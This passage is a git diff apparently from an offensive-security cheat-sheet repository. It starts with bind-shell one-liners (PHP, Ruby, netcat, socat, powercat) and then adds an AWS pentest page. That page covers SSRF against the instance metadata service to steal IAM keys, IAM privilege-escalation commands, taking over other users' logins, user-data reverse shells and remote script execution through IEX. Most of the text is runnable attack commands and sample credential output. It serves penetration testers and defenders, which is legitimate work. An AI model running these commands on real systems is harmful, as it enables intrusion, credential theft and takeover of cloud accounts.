$in=socket_read($cl,100);$cmd=popen("$in","r");while(!feof($cmd)){$m=fgetc($cmd);\
|
||||
socket_write($cl,$m,strlen($m));}}'
|
||||
```
|
||||
|
||||
## Ruby
|
||||
|
||||
```ruby
|
||||
ruby -rsocket -e 'f=TCPServer.new(51337);s=f.accept;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",s,s,s)'
|
||||
```
|
||||
|
||||
## Netcat Traditional
|
||||
|
||||
```powershell
|
||||
nc -nlvp 51337 -e /bin/bash
|
||||
```
|
||||
|
||||
## Netcat OpenBsd
|
||||
|
||||
```powershell
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc -lvp 51337 >/tmp/f
|
||||
```
|
||||
|
||||
## Socat
|
||||
|
||||
```powershell
|
||||
user@attacker$ socat FILE:`tty`,raw,echo=0 TCP:target.com:12345
|
||||
user@victim$ socat TCP-LISTEN:12345,reuseaddr,fork EXEC:/bin/sh,pty,stderr,setsid,sigint,sane
|
||||
```
|
||||
|
||||
## Powershell
|
||||
|
||||
```powershell
|
||||
https://github.com/besimorhino/powercat
|
||||
|
||||
# Victim (listen)
|
||||
. .\powercat.ps1
|
||||
powercat -l -p 7002 -ep
|
||||
|
||||
# Connect from attacker
|
||||
. .\powercat.ps1
|
||||
powercat -c 127.0.0.1 -p 7002
|
||||
```
|
||||
709
Methodology and Resources/Cloud - AWS Pentest.md
Normal file
@@ -0,0 +1,709 @@
|
||||
# AWS
|
||||
|
||||
> Amazon Web Services offers reliable, scalable, and inexpensive cloud computing services.
|
||||
|
||||
## Summary
|
||||
|
||||
- [AWS](#aws)
|
||||
- [Summary](#summary)
|
||||
- [Training](#training)
|
||||
- [Tools](#tools)
|
||||
- [AWS Patterns](#aws-patterns)
|
||||
- [AWS - Metadata SSRF](#aws---metadata-ssrf)
|
||||
- [Method for Elastic Cloud Compute (EC2)](#method-for-elastic-cloud-compute-ec2)
|
||||
- [Method for Container Service (Fargate)](#method-for-container-service-fargate)
|
||||
- [AWS API calls that return credentials](#aws-api-calls-that-return-credentials)
|
||||
- [AWS - Shadow Admin](#aws---shadow-admin)
|
||||
- [Admin equivalent permission](#admin-equivalent-permission)
|
||||
- [AWS - Gaining AWS Console Access via API Keys](#aws---gaining-aws-console-access-via-api-keys)
|
||||
- [AWS - Enumerate IAM permissions](#aws---enumerate-iam-permissions)
|
||||
- [AWS - Mount EBS volume to EC2 Linux](#aws---mount-ebs-volume-to-ec2-linux)
|
||||
- [AWS - Copy EC2 using AMI Image](#aws---copy-ec2-using-ami-image)
|
||||
- [AWS - Instance Connect - Push an SSH key to EC2 instance](#aws---instance-connect---push-an-ssh-key-to-ec2-instance)
|
||||
- [AWS - Lambda - Extract function's code](#aws---lambda---extract-functions-code)
|
||||
- [AWS - SSM - Command execution](#aws---ssm---command-execution)
|
||||
- [AWS - Golden SAML Attack](#aws---golden-saml-attack)
|
||||
- [AWS - Shadow Copy attack](#aws---shadow-copy-attack)
|
||||
- [Disable CloudTrail](#disable-cloudtrail)
|
||||
- [Cover tracks by obfuscating Cloudtrail logs and Guard Duty](#cover-tracks-by-obfuscating-cloudtrail-logs-and-guard-duty)
|
||||
- [DynamoDB](#dynamodb)
|
||||
- [Security checks](#security-checks)
|
||||
- [References](#references)
|
||||
|
||||
## Training
|
||||
|
||||
* Damn Vulnerable Cloud Application - https://medium.com/poka-techblog/privilege-escalation-in-the-cloud-from-ssrf-to-global-account-administrator-fd943cf5a2f6
|
||||
* SadCloud - https://github.com/nccgroup/sadcloud
|
||||
* Flaws - http://flaws.cloud
|
||||
* Cloudgoat - https://github.com/RhinoSecurityLabs/cloudgoat
|
||||
|
||||
## Tools
|
||||
|
||||
* [SkyArk](https://github.com/cyberark/SkyArk) - Discover the most privileged users in the scanned AWS environment, including the AWS Shadow Admins
|
||||
* Requires read-Only permissions over IAM service
|
||||
```powershell
|
||||
$ git clone https://github.com/cyberark/SkyArk
|
||||
$ powershell -ExecutionPolicy Bypass -NoProfile
|
||||
PS C> Import-Module .\SkyArk.ps1 -force
|
||||
PS C> Start-AWStealth
|
||||
|
||||
or in the Cloud Console
|
||||
|
||||
PS C> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/cyberark/SkyArk/master/AWStealth/AWStealth.ps1')
|
||||
PS C> Scan-AWShadowAdmins
|
||||
```
|
||||
|
||||
* [Pacu](https://github.com/RhinoSecurityLabs/pacu) - Exploit configuration flaws within an AWS environment using an extensible collection of modules with a diverse feature-set
|
||||
* Requires AWS Keys
|
||||
```powershell
|
||||
$ git clone https://github.com/RhinoSecurityLabs/pacu
|
||||
$ bash install.sh
|
||||
$ python3 pacu.py
|
||||
set_keys/swap_keys
|
||||
ls
|
||||
run <module_name> [--keyword-arguments]
|
||||
run <module_name> --regions eu-west-1,us-west-1
|
||||
|
||||
# https://github.com/RhinoSecurityLabs/pacu/wiki/Module-Details
|
||||
```
|
||||
|
||||
* [Bucket Finder](https://digi.ninja/projects/bucket_finder.php) - Search for public buckets, list and download all files if directory indexing is enabled
|
||||
```powershell
|
||||
wget https://digi.ninja/files/bucket_finder_1.1.tar.bz2 -O bucket_finder_1.1.tar.bz2
|
||||
./bucket_finder.rb my_words
|
||||
./bucket_finder.rb --region ie my_words
|
||||
US Standard = http://s3.amazonaws.com
|
||||
Ireland = http://s3-eu-west-1.amazonaws.com
|
||||
Northern California = http://s3-us-west-1.amazonaws.com
|
||||
Singapore = http://s3-ap-southeast-1.amazonaws.com
|
||||
Tokyo = http://s3-ap-northeast-1.amazonaws.com
|
||||
|
||||
./bucket_finder.rb --download --region ie my_words
|
||||
./bucket_finder.rb --log-file bucket.out my_words
|
||||
```
|
||||
|
||||
* [Boto3](https://boto3.amazonaws.com/v1/documentation/api/latest/index.html) - Amazon Web Services (AWS) SDK for Python
|
||||
```python
|
||||
import boto3
|
||||
# Create an S3 client
|
||||
s3 = boto3.client('s3',aws_access_key_id='AKIAJQDP3RKREDACTED',aws_secret_access_key='igH8yFmmpMbnkcUaCqXJIRIozKVaREDACTED',region_name='us-west-1')
|
||||
|
||||
try:
|
||||
result = s3.list_buckets()
|
||||
print(result)
|
||||
except Exception as e:
|
||||
print(e)
|
||||
```
|
||||
|
||||
* [Prowler](https://github.com/toniblyx/prowler) - AWS security best practices assessments, audits, incident response, continuous monitoring, hardening and forensics readiness
|
||||
|
||||
> It follows guidelines of the CIS Amazon Web Services Foundations Benchmark and DOZENS of additional checks including GDPR and HIPAA (+100).
|
||||
* Require: arn:aws:iam::aws:policy/SecurityAudit
|
||||
|
||||
```powershell
|
||||
$ pip install awscli ansi2html detect-secrets
|
||||
$ git clone https://github.com/toniblyx/prowler
|
||||
$ sudo apt install jq
|
||||
$ ./prowler -E check42,check43
|
||||
$ ./prowler -p custom-profile -r us-east-1 -c check11
|
||||
$ ./prowler -A 123456789012 -R ProwlerRole # sts assume-role
|
||||
```
|
||||
|
||||
* [Principal Mapper](https://github.com/nccgroup/PMapper) - A tool for quickly evaluating IAM permissions in AWS
|
||||
```powershell
|
||||
https://github.com/nccgroup/PMapper
|
||||
pip install principalmapper
|
||||
pmapper graph --create
|
||||
pmapper visualize --filetype png
|
||||
pmapper analysis --output-type text
|
||||
|
||||
# Determine if PowerUser can escalate privileges
|
||||
pmapper query "preset privesc user/PowerUser"
|
||||
pmapper argquery --principal user/PowerUser --preset privesc
|
||||
|
||||
# Find all principals that can escalate privileges
|
||||
pmapper query "preset privesc *"
|
||||
pmapper argquery --principal '*' --preset privesc
|
||||
|
||||
# Find all principals that PowerUser can access
|
||||
pmapper query "preset connected user/PowerUser *"
|
||||
pmapper argquery --principal user/PowerUser --resource '*' --preset connected
|
||||
|
||||
# Find all principals that can access PowerUser
|
||||
pmapper query "preset connected * user/PowerUser"
|
||||
pmapper argquery --principal '*' --resource user/PowerUser --preset connected
|
||||
```
|
||||
|
||||
* [ScoutSuite](https://github.com/nccgroup/ScoutSuite/wiki) - Multi-Cloud Security Auditing Tool
|
||||
```powershell
|
||||
$ git clone https://github.com/nccgroup/ScoutSuite
|
||||
$ python scout.py PROVIDER --help
|
||||
# The --session-token is optional and only used for temporary credentials (i.e. role assumption).
|
||||
$ python scout.py aws --access-keys --access-key-id <AKIAIOSFODNN7EXAMPLE> --secret-access-key <wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY> --session-token <token>
|
||||
$ python scout.py azure --cli
|
||||
```
|
||||
|
||||
* [s3_objects_check](https://github.com/nccgroup/s3_objects_check) - Whitebox evaluation of effective S3 object permissions, to identify publicly accessible files
|
||||
```powershell
|
||||
$ git clone https://github.com/nccgroup/s3_objects_check
|
||||
$ python3 -m venv env && source env/bin/activate
|
||||
$ pip install -r requirements.txt
|
||||
$ python s3-objects-check.py -h
|
||||
$ python s3-objects-check.py -p whitebox-profile -e blackbox-profile
|
||||
```
|
||||
|
||||
* [cloudsplaining](https://github.com/salesforce/cloudsplaining) - An AWS IAM Security Assessment tool that identifies violations of least privilege and generates a risk-prioritized report
|
||||
```powershell
|
||||
$ pip3 install --user cloudsplaining
|
||||
$ cloudsplaining download --profile myawsprofile
|
||||
$ cloudsplaining scan --input-file default.json
|
||||
```
|
||||
|
||||
* [weirdAAL](https://github.com/carnal0wnage/weirdAAL/wiki) - AWS Attack Library
|
||||
```powershell
|
||||
python3 weirdAAL.py -m ec2_describe_instances -t demo
|
||||
python3 weirdAAL.py -m lambda_get_account_settings -t demo
|
||||
python3 weirdAAL.py -m lambda_get_function -a 'MY_LAMBDA_FUNCTION','us-west-2' -t yolo
|
||||
```
|
||||
|
||||
* [cloudmapper](https://github.com/duo-labs/cloudmapper.git) - CloudMapper helps you analyze your Amazon Web Services (AWS) environments
|
||||
```powershell
|
||||
git clone https://github.com/duo-labs/cloudmapper.git
|
||||
# sudo yum install autoconf automake libtool python3-devel.x86_64 python3-tkinter python-pip jq awscli
|
||||
# You may additionally need "build-essential"
|
||||
sudo apt-get install autoconf automake libtool python3.7-dev python3-tk jq awscli
|
||||
pipenv install --skip-lock
|
||||
pipenv shell
|
||||
report: Generate HTML report. Includes summary of the accounts and audit findings.
|
||||
iam_report: Generate HTML report for the IAM information of an account.
|
||||
audit: Check for potential misconfigurations.
|
||||
collect: Collect metadata about an account.
|
||||
find_admins: Look at IAM policies to identify admin users and roles, or principals with specific privileges
|
||||
```
|
||||
|
||||
* [dufflebag](https://labs.bishopfox.com/dufflebag) - Find secrets that are accidentally exposed via Amazon EBS’s “public” mode
|
||||
|
||||
|
||||
## AWS Patterns
|
||||
| Service | URL |
|
||||
|-------------|--------|
|
||||
| s3 | https://{user_provided}.s3.amazonaws.com |
|
||||
| cloudfront | https://{random_id}.cloudfront.net |
|
||||
| ec2 | ec2-{ip-seperated}.compute-1.amazonaws.com |
|
||||
| es | https://{user_provided}-{random_id}.{region}.es.amazonaws.com |
|
||||
| elb | http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443 |
|
||||
| elbv2 | https://{user_provided}-{random_id}.{region}.elb.amazonaws.com |
|
||||
| rds | mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306 |
|
||||
| rds | postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432 |
|
||||
| route 53 | {user_provided} |
|
||||
| execute-api | https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided} |
|
||||
| cloudsearch | https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com |
|
||||
| transfer | sftp://s-{random_id}.server.transfer.{region}.amazonaws.com |
|
||||
| iot | mqtt://{random_id}.iot.{region}.amazonaws.com:8883 |
|
||||
| iot | https://{random_id}.iot.{region}.amazonaws.com:8443 |
|
||||
| iot | https://{random_id}.iot.{region}.amazonaws.com:443 |
|
||||
| mq | https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162 |
|
||||
| mq | ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617 |
|
||||
| kafka | b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com |
|
||||
| kafka | {user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com |
|
||||
| cloud9 | https://{random_id}.vfs.cloud9.{region}.amazonaws.com |
|
||||
| mediastore | https://{random_id}.data.mediastore.{region}.amazonaws.com |
|
||||
| kinesisvideo | https://{random_id}.kinesisvideo.{region}.amazonaws.com |
|
||||
| mediaconvert | https://{random_id}.mediaconvert.{region}.amazonaws.com |
|
||||
| mediapackage | https://{random_id}.mediapackage.{region}.amazonaws.com/in/v1/{random_id}/channel |
|
||||
|
||||
|
||||
## AWS - Metadata SSRF
|
||||
|
||||
> AWS released additional security defences against the attack.
|
||||
|
||||
:warning: Only working with IMDSv1.
|
||||
Enabling IMDSv2 : `aws ec2 modify-instance-metadata-options --instance-id <INSTANCE-ID> --profile <AWS_PROFILE> --http-endpoint enabled --http-token required`.
|
||||
|
||||
In order to usr IMDSv2 you must provide a token.
|
||||
|
||||
```powershell
|
||||
export TOKEN=`curl -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" "http://169.254.169.254/latest/api/token"`
|
||||
curl -H "X-aws-ec2-metadata-token:$TOKEN" -v "http://169.254.169.254/latest/meta-data"
|
||||
```
|
||||
|
||||
### Method for Elastic Cloud Compute (EC2)
|
||||
|
||||
Example : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
|
||||
|
||||
1. Access the IAM : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/
|
||||
```powershell
|
||||
ami-id
|
||||
ami-launch-index
|
||||
ami-manifest-path
|
||||
block-device-mapping/
|
||||
events/
|
||||
hostname
|
||||
iam/
|
||||
identity-credentials/
|
||||
instance-action
|
||||
instance-id
|
||||
```
|
||||
2. Find the name of the role assigned to the instance : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/
|
||||
3. Extract the role's temporary keys : https://awesomeapp.com/forward?target=http://169.254.169.254/latest/meta-data/iam/security-credentials/Awesome-WAF-Role/
|
||||
```powershell
|
||||
{
|
||||
"Code" : "Success",
|
||||
"LastUpdated" : "2019-07-31T23:08:10Z",
|
||||
"Type" : "AWS-HMAC",
|
||||
"AccessKeyId" : "ASIA54BL6PJR37YOEP67",
|
||||
"SecretAccessKey" : "OiAjgcjm1oi2xxxxxxxxOEXkhOMhCOtJMP2",
|
||||
"Token" : "AgoJb3JpZ2luX2VjEDU86Rcfd/34E4rtgk8iKuTqwrRfOppiMnv",
|
||||
"Expiration" : "2019-08-01T05:20:30Z"
|
||||
}
|
||||
```
|
||||
|
||||
### Method for Container Service (Fargate)
|
||||
|
||||
1. Fetch the AWS_CONTAINER_CREDENTIALS_RELATIVE_URI variable from https://awesomeapp.com/download?file=/proc/self/environ
|
||||
```powershell
|
||||
JAVA_ALPINE_VERSION=8.212.04-r0
|
||||
HOSTNAME=bbb3c57a0ed3SHLVL=1PORT=8443HOME=/root
|
||||
AWS_CONTAINER_CREDENTIALS_RELATIVE_URI=/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
|
||||
AWS_EXECUTION_ENV=AWS_ECS_FARGATEMVN_VER=3.3.9JAVA_VERSION=8u212AWS_DEFAULT_REGION=us-west-2
|
||||
ECS_CONTAINER_METADATA_URI=http://169.254.170.2/v3/cb4f6285-48f2-4a51-a787-67dbe61c13ffPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/jvm/java-1.8-openjdk/jre/bin:/usr/lib/jvm/java-1.8-openjdk/bin:/usr/lib/mvn:/usr/lib/mvn/binLANG=C.UTF-8AWS_REGION=us-west-2Tag=48111bbJAVA_HOME=/usr/lib/jvm/java-1.8-openjdk/jreM2=/usr/lib/mvn/binPWD=/appM2_HOME=/usr/lib/mvnLD_LIBRARY_PATH=/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64/server:/usr/lib/jvm/java-1.8-openjdk/jre/lib/amd64:/usr/lib/jvm/java-1.8-openjd
|
||||
```
|
||||
2. Use the credential URL to dump the AccessKey and SecretKey : https://awesomeapp.com/forward?target=http://169.254.170.2/v2/credentials/d22070e0-5f22-4987-ae90-1cd9bec3f447
|
||||
```powershell
|
||||
{
|
||||
"RoleArn": "arn:aws:iam::953574914659:role/awesome-waf-role",
|
||||
"AccessKeyId": "ASIA54BL6PJR2L75XHVS",
|
||||
"SecretAccessKey": "j72eTy+WHgIbO6zpe2DnfjEhbObuTBKcemfrIygt",
|
||||
"Token": "FQoGZXIvYXdzEMj//////////wEaDEQW+wwBtaoyqH5lNSLGBF3PnwnLYa3ggfKBtLMoWCEyYklw6YX85koqNwKMYrP6ymcjv4X2gF5enPi9/Dx6m/1TTFIwMzZ3tf4V3rWP3HDt1ea6oygzTrWLvfdp57sKj+2ccXI+WWPDZh3eJr4Wt4JkiiXrWANn7Bx3BUj9ZM11RXrKRCvhrxdrMLoewRkWmErNEOFgbaCaT8WeOkzqli4f+Q36ZerT2V+FJ4SWDX1CBsimnDAMAdTIRSLFxVBBwW8171OHiBOYAMK2np1xAW1d3UCcZcGKKZTjBee2zs5+Rf5Nfkoq+j7GQkmD2PwCeAf0RFETB5EVePNtlBWpzfOOVBtsTUTFewFfx5cyNsitD3C2N93WR59LX/rNxyncHGDUP/6UPlasOcfzAaG738OJQmWfQTR0qksHIc2qiPtkstnNndh76is+r+Jc4q3wOWu2U2UBi44Hj+OS2UTpMAwc/MshIiGsUOrBQdPqcLLdAxKpUNTdSQNLg5wv4f2OrOI8/sneV58yBRolBz8DZoH8wohtLXpueDt8jsVSVLznnMOOe/4ehHE2Nt+Fy+tjaY5FUi/Ijdd5IrIdIvWFHY1XcPopUFYrDqr0yuZvX1YddfIcfdbmxf274v69FuuywXTo7cXk1QTMYZWlD/dPI/k6KQeO446UrHT9BJxcJMpchAIVRpI7nVKkSDwku1joKUG7DOeycuAbhecVZG825TocL0ks2yXPnIdvckAaU9DZf+afIV3Nxv3TI4sSX1npBhb2f/8C31pv8VHyu2NiN5V6OOHzZijHsYXsBQ==",
|
||||
"Expiration": "2019-09-18T04:05:59Z"
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
### AWS API calls that return credentials
|
||||
|
||||
- chime:createapikey
|
||||
- [codepipeline:pollforjobs](https://docs.aws.amazon.com/codepipeline/latest/APIReference/API_PollForJobs.html)
|
||||
- [cognito-identity:getopenidtoken](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdToken.html)
|
||||
- [cognito-identity:getopenidtokenfordeveloperidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetOpenIdTokenForDeveloperIdentity.html)
|
||||
- [cognito-identity:getcredentialsforidentity](https://docs.aws.amazon.com/cognitoidentity/latest/APIReference/API_GetCredentialsForIdentity.html)
|
||||
- [connect:getfederationtoken](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html)
|
||||
- [connect:getfederationtokens](https://docs.aws.amazon.com/connect/latest/APIReference/API_GetFederationToken.html)
|
||||
- [ecr:getauthorizationtoken](https://docs.aws.amazon.com/AmazonECR/latest/APIReference/API_GetAuthorizationToken.html)
|
||||
- [gamelift:requestuploadcredentials](https://docs.aws.amazon.com/gamelift/latest/apireference/API_RequestUploadCredentials.html)
|
||||
- [iam:createaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateAccessKey.html)
|
||||
- [iam:createloginprofile](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateLoginProfile.html)
|
||||
- [iam:createservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_CreateServiceSpecificCredential.html)
|
||||
- [iam:resetservicespecificcredential](https://docs.aws.amazon.com/IAM/latest/APIReference/API_ResetServiceSpecificCredential.html)
|
||||
- [iam:updateaccesskey](https://docs.aws.amazon.com/IAM/latest/APIReference/API_UpdateAccessKey.html)
|
||||
- [lightsail:getinstanceaccessdetails](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetInstanceAccessDetails.html)
|
||||
- [lightsail:getrelationaldatabasemasteruserpassword](https://docs.aws.amazon.com/lightsail/2016-11-28/api-reference/API_GetRelationalDatabaseMasterUserPassword.html)
|
||||
- [rds-db:connect](https://docs.aws.amazon.com/AmazonRDS/latest/UserGuide/UsingWithRDS.IAMDBAuth.IAMPolicy.html)
|
||||
- [redshift:getclustercredentials](https://docs.aws.amazon.com/redshift/latest/APIReference/API_GetClusterCredentials.html)
|
||||
- [sso:getrolecredentials](https://docs.aws.amazon.com/singlesignon/latest/PortalAPIReference/API_GetRoleCredentials.html)
|
||||
- [mediapackage:rotatechannelcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-credentials.html)
|
||||
- [mediapackage:rotateingestendpointcredentials](https://docs.aws.amazon.com/mediapackage/latest/apireference/channels-id-ingest_endpoints-ingest_endpoint_id-credentials.html)
|
||||
- [sts:assumerole](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role.html)
|
||||
- [sts:assumerolewithsaml](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-saml.html)
|
||||
- [sts:assumerolewithwebidentity](https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html)
|
||||
- [sts:getfederationtoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-federation-token.html)
|
||||
- [sts:getsessiontoken](https://docs.aws.amazon.com/cli/latest/reference/sts/get-session-token.html)
|
||||
|
||||
|
||||
## AWS - Shadow Admin
|
||||
|
||||
### Admin equivalent permission
|
||||
|
||||
- AdministratorAccess
|
||||
|
||||
```powershell
|
||||
"Action": "*"
|
||||
"Resource": "*"
|
||||
```
|
||||
|
||||
- ec2:AssociateIamInstanceProfile
|
||||
|
||||
- **iam:CreateAccessKey**iam:CreateAccessKey : create a new access key to another IAM admin account
|
||||
```powershell
|
||||
aws iam create-access-key –user-name target_user
|
||||
```
|
||||
|
||||
- **iam:CreateLoginProfile** : add a new password-based login profile, set a new password for an entity and impersonate it
|
||||
```powershell
|
||||
$ aws iam create-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
|
||||
```
|
||||
|
||||
- **iam:UpdateLoginProfile** : reset other IAM users’ login passwords.
|
||||
```powershell
|
||||
$ aws iam update-login-profile –user-name target_user –password '|[3rxYGGl3@`~68)O{,-$1B”zKejZZ.X1;6T}<XT5isoE=LB2L^G@{uK>f;/CQQeXSo>}th)KZ7v?\\hq.#@dh49″=fT;|,lyTKOLG7J[qH$LV5U<9`O~Z”,jJ[iT-D^(' –no-password-reset-required
|
||||
```
|
||||
|
||||
- **iam:AttachUserPolicy**, **iam:AttachGroupPolicy** or **iam:AttachRolePolicy** : attach existing admin policy to any other entity he currently possesses
|
||||
```powershell
|
||||
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
||||
$ aws iam attach-user-policy –user-name my_username –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
||||
$ aws iam attach-role-policy –role-name role_i_can_assume –policy-arn arn:aws:iam::aws:policy/AdministratorAccess
|
||||
```
|
||||
|
||||
- **iam:PutUserPolicy**, **iam:PutGroupPolicy** or **iam:PutRolePolicy** : added inline policy will allow the attacker to grant additional privileges to previously compromised entities.
|
||||
```powershell
|
||||
$ aws iam put-user-policy –user-name my_username –policy-name my_inline_policy –policy-document file://path/to/administrator/policy.json
|
||||
```
|
||||
|
||||
- **iam:CreatePolicy** : add a stealthy admin policy
|
||||
- **iam:AddUserToGroup** : add into the admin group of the organization.
|
||||
```powershell
|
||||
$ aws iam add-user-to-group –group-name target_group –user-name my_username
|
||||
```
|
||||
|
||||
- **iam:UpdateAssumeRolePolicy** + **sts:AssumeRole** : change the assuming permissions of a privileged role and then assume it with a non-privileged account.
|
||||
```powershell
|
||||
$ aws iam update-assume-role-policy –role-name role_i_can_assume –policy-document file://path/to/assume/role/policy.json
|
||||
```
|
||||
|
||||
- **iam:CreatePolicyVersion** & **iam:SetDefaultPolicyVersion** : change customer-managed policies and change a non-privileged entity to be a privileged one.
|
||||
```powershell
|
||||
$ aws iam create-policy-version –policy-arn target_policy_arn –policy-document file://path/to/administrator/policy.json –set-as-default
|
||||
$ aws iam set-default-policy-version –policy-arn target_policy_arn –version-id v2
|
||||
```
|
||||
|
||||
- **lambda:UpdateFunctionCode** : give an attacker access to the privileges associated with the Lambda service role that is attached to that function.
|
||||
```powershell
|
||||
$ aws lambda update-function-code –function-name target_function –zip-file fileb://my/lambda/code/zipped.zip
|
||||
```
|
||||
|
||||
- **glue:UpdateDevEndpoint** : give an attacker access to the privileges associated with the role attached to the specific Glue development endpoint.
|
||||
```powershell
|
||||
$ aws glue –endpoint-name target_endpoint –public-key file://path/to/my/public/ssh/key.pub
|
||||
```
|
||||
|
||||
|
||||
- **iam:PassRole** + **ec2:CreateInstanceProfile**/**ec2:AddRoleToInstanceProfile** : an attacker could create a new privileged instance profile and attach it to a compromised EC2 instance that he possesses.
|
||||
|
||||
- **iam:PassRole** + **ec2:RunInstance** : give an attacker access to the set of permissions that the instance profile/role has, which again could range from no privilege escalation to full administrator access of the AWS account.
|
||||
```powershell
|
||||
# add ssh key
|
||||
$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –key-name my_ssh_key –security-group-ids sg-123456
|
||||
# execute a reverse shell
|
||||
$ aws ec2 run-instances –image-id ami-a4dc46db –instance-type t2.micro –iam-instance-profile Name=iam-full-access-ip –user-data file://script/with/reverse/shell.sh
|
||||
```
|
||||
|
||||
- **iam:PassRole** + **lambda:CreateFunction** + **lambda:InvokeFunction** : give a user access to the privileges associated with any Lambda service role that exists in the account.
|
||||
```powershell
|
||||
$ aws lambda create-function –function-name my_function –runtime python3.6 –role arn_of_lambda_role –handler lambda_function.lambda_handler –code file://my/python/code.py
|
||||
$ aws lambda invoke –function-name my_function output.txt
|
||||
```
|
||||
Example of code.py
|
||||
```python
|
||||
import boto3
|
||||
def lambda_handler(event, context):
|
||||
client = boto3.client('iam')
|
||||
response = client.attach_user_policy(
|
||||
UserName='my_username',
|
||||
PolicyArn="arn:aws:iam::aws:policy/AdministratorAccess"
|
||||
)
|
||||
return response
|
||||
```
|
||||
|
||||
* **iam:PassRole** + **glue:CreateDevEndpoint** : access to the privileges associated with any Glue service role that exists in the account.
|
||||
```powershell
|
||||
$ aws glue create-dev-endpoint –endpoint-name my_dev_endpoint –role-arn arn_of_glue_service_role –public-key file://path/to/my/public/ssh/key.pub
|
||||
```
|
||||
|
||||
## AWS - Gaining AWS Console Access via API Keys
|
||||
|
||||
A utility to convert your AWS CLI credentials into AWS console access.
|
||||
|
||||
```powershell
|
||||
$> git clone https://github.com/NetSPI/aws_consoler
|
||||
$> aws_consoler -v -a AKIA[REDACTED] -s [REDACTED]
|
||||
2020-03-13 19:44:57,800 [aws_consoler.cli] INFO: Validating arguments...
|
||||
2020-03-13 19:44:57,801 [aws_consoler.cli] INFO: Calling logic.
|
||||
2020-03-13 19:44:57,820 [aws_consoler.logic] INFO: Boto3 session established.
|
||||
2020-03-13 19:44:58,193 [aws_consoler.logic] WARNING: Creds still permanent, creating federated session.
|
||||
2020-03-13 19:44:58,698 [aws_consoler.logic] INFO: New federated session established.
|
||||
2020-03-13 19:44:59,153 [aws_consoler.logic] INFO: Session valid, attempting to federate as arn:aws:sts::123456789012:federated-user/aws_consoler.
|
||||
2020-03-13 19:44:59,668 [aws_consoler.logic] INFO: URL generated!
|
||||
https://signin.aws.amazon.com/federation?Action=login&Issuer=consoler.local&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2Fconsole%2Fhome%3Fregion%3Dus-east-1&SigninToken=[REDACTED
|
||||
```
|
||||
|
||||
## AWS - Enumerate IAM permissions
|
||||
|
||||
Enumerate the permissions associated with AWS credential set with [enumerate-iam](https://github.com/andresriancho/enumerate-iam)
|
||||
|
||||
```powershell
|
||||
git clone git@github.com:andresriancho/enumerate-iam.git
|
||||
pip install -r requirements.txt
|
||||
./enumerate-iam.py --access-key AKIA... --secret-key StF0q...
|
||||
2019-05-10 15:57:58,447 - 21345 - [INFO] Starting permission enumeration for access-key-id "AKIA..."
|
||||
2019-05-10 15:58:01,532 - 21345 - [INFO] Run for the hills, get_account_authorization_details worked!
|
||||
2019-05-10 15:58:01,537 - 21345 - [INFO] -- {
|
||||
"RoleDetailList": [
|
||||
{
|
||||
"Tags": [],
|
||||
"AssumeRolePolicyDocument": {
|
||||
"Version": "2008-10-17",
|
||||
"Statement": [
|
||||
{
|
||||
...
|
||||
2019-05-10 15:58:26,709 - 21345 - [INFO] -- gamelift.list_builds() worked!
|
||||
2019-05-10 15:58:26,850 - 21345 - [INFO] -- cloudformation.list_stack_sets() worked!
|
||||
2019-05-10 15:58:26,982 - 21345 - [INFO] -- directconnect.describe_locations() worked!
|
||||
2019-05-10 15:58:27,021 - 21345 - [INFO] -- gamelift.describe_matchmaking_rule_sets() worked!
|
||||
2019-05-10 15:58:27,311 - 21345 - [INFO] -- sqs.list_queues() worked!
|
||||
```
|
||||
|
||||
## AWS - Mount EBS volume to EC2 Linux
|
||||
|
||||
:warning: EBS snapshots are block-level incremental, which means that every snapshot only copies the blocks (or areas) in the volume that had been changed since the last snapshot. To restore your data, you need to create a new EBS volume from one of your EBS snapshots. The new volume will be a duplicate of the initial EBS volume on which the snapshot was taken.
|
